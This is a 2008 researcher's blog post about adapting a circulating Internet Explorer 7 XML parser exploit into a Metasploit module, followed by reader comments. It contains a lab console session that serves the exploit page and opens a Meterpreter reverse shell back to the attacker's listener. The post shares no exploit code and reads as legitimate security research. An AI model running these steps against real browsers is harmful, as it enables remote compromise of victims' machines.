Thursday, December 11, 2008

Internet Explorer 7 XML Parser Buffer Overflow

So this has been an interesting week. Lots of new botnets to dig around in, a bunch of new malware sites making a new effort to obfuscate their code and one 0day [whatever that means].

A few days ago I saw the code for the new IE7 exploit floating around a few malware sites I found. Great timing on the part of the authors to release it right around MS's Patch Tuesday. I looked at it briefly on Tuesday but never got to spend much time it figuring out. It's pretty straight forward though. If you want to know more about how it works then HD Moore has an excellent writeup on it here.

Basically the vuln is in how the SPAN tags format the datasource referenced by the xml to cause a heap corruption. See HD's post for the exact details. Every time I add code to my posts it screws something up. So no code showing this!

Yesterday while looking at the exploit I saw a PoC posted to Milw0rm. Very cool but in my testing it really was not stable [for me at least] and only triggered the vuln about 70% of the time. I think this has to do with how the blocks of memory on the heap are being allocated/deallocated by the JavaScript heapspray code. I could be wrong though.

So I figured I'd port it over to Metasploit as a module and hopefully get it a little more stable. Way more fun to have multiple payloads to choose from. :) I got an inital PoC working but it was not stable and only triggered on XP as the return pointer for XP was hardcoded into the module. Enter mc. As usual mc was already working on it, so we started going back and forth trying to get this exploit stable and working on multiple targets. mc started by using metasm to generate the return pointers. Very cool! I've never done that before and it's pretty damn cool to use it. He also added target detection based on user-agent string. Awesome! Now we can target specific OS versions with the same exploit.

Even though I tested last night and this morning it seemed to be hit or miss with XP. Arg! Finally I decided to redo the heapspray code to use what I've been working with lately. By dynamically determining the block size to allocate to the heap the exploit seems far more stable. So this morning I redid the heapspray code and got it to fire 100% of the time on XP. Go me! mc tested Vista and got the same results! Hell Yea!

We ran into some issues with obfuscating the code though. Interestingly enough if the variables are randomized and over a certain length the exploit won't trigger. A few other areas of the code gave issues as well when being obfuscated but it seems the exploit is pretty stable as of now.

I guess I should do a video of the module since Chris has started that trend but in the interim...

msf > use exploit/windows/browser/ie_xmlparser
sf exploit(ie_xmlparser) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ie_xmlparser) > set LPORT 2244
LPORT => 2244
msf exploit(ie_xmlparser) > set LHOST 10.10.11.13
LHOST => 10.10.11.13
msf exploit(ie_xmlparser) > set URIPATH ie7.html
URIPATH => ie7.html
msf exploit(ie_xmlparser) > exploit
[*] Exploit running as background job.
[*] Handler binding to LHOST 10.10.11.13
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/ie7.html
[*] Local IP: http://10.10.11.13:8080/ie7.html
[*] Server started.
msf exploit(ie_xmlparser) >

[*] Target is Windows XP
[*] Sending Internet Explorer 7 XML Parser Buffer Overflow to 10.10.10.12:1059...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.

[*] Meterpreter session 1 opened (10.10.11.13:2244 -> 10.10.10.12:1060)
msf exploit(ie_xmlparser) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: VM-XP-SP3
OS : Windows XP (Build 2600, Service Pack 3).
meterpreter >

Working with mc on getting this module to run was educational to say the least. I learned a lot from the debuggging and testing. Cheers mc!!

Now all I need is a target... ;)

Cheers,
/dean

**edit
IE7 Zero Day Technical Analysis


7 comments:

  1. Any way you could be convinced to do a writeup on some of the debugger tricks you learned?

    I've recently been getting into exploit dev and have primarily been using only Olly and manual calculations for analysis. I haven't used any of the metasploit built in stuff yet and would be interested in reading what you've learned.

    ReplyDelete
  2. Is there a way to gather Session ID or session information in general? Not the Session Id that you use to connect to the target but the actual connection session.

    ReplyDelete
  3. @ Anonymous:
    I'm not sure what you're asking but if you mean from the browser sessions itself, then yes.

    @natron:
    Maybe. But it's really nothing new. This time it was really just more about thinking problems through and being thorough.

    ReplyDelete
  4. is there any way we can get the module for metasploit ?

    ReplyDelete
  5. That's a great post it could have been a lot better if you shared to code!

    ReplyDelete
  6. @Anonymous:
    Heh, maybe sometime. There are more than enough malware samples floating around that could be used to develop the module though.

    @The Moorish:
    HD added a module to the trunk. Have you tested that one? It's very different to ours. I've not been able to get it to trigger the vuln yet but I've not tried on nx enabled boxes either. The technique he uses is damn cool and will obsolete the heapsray stuff I used.

    ReplyDelete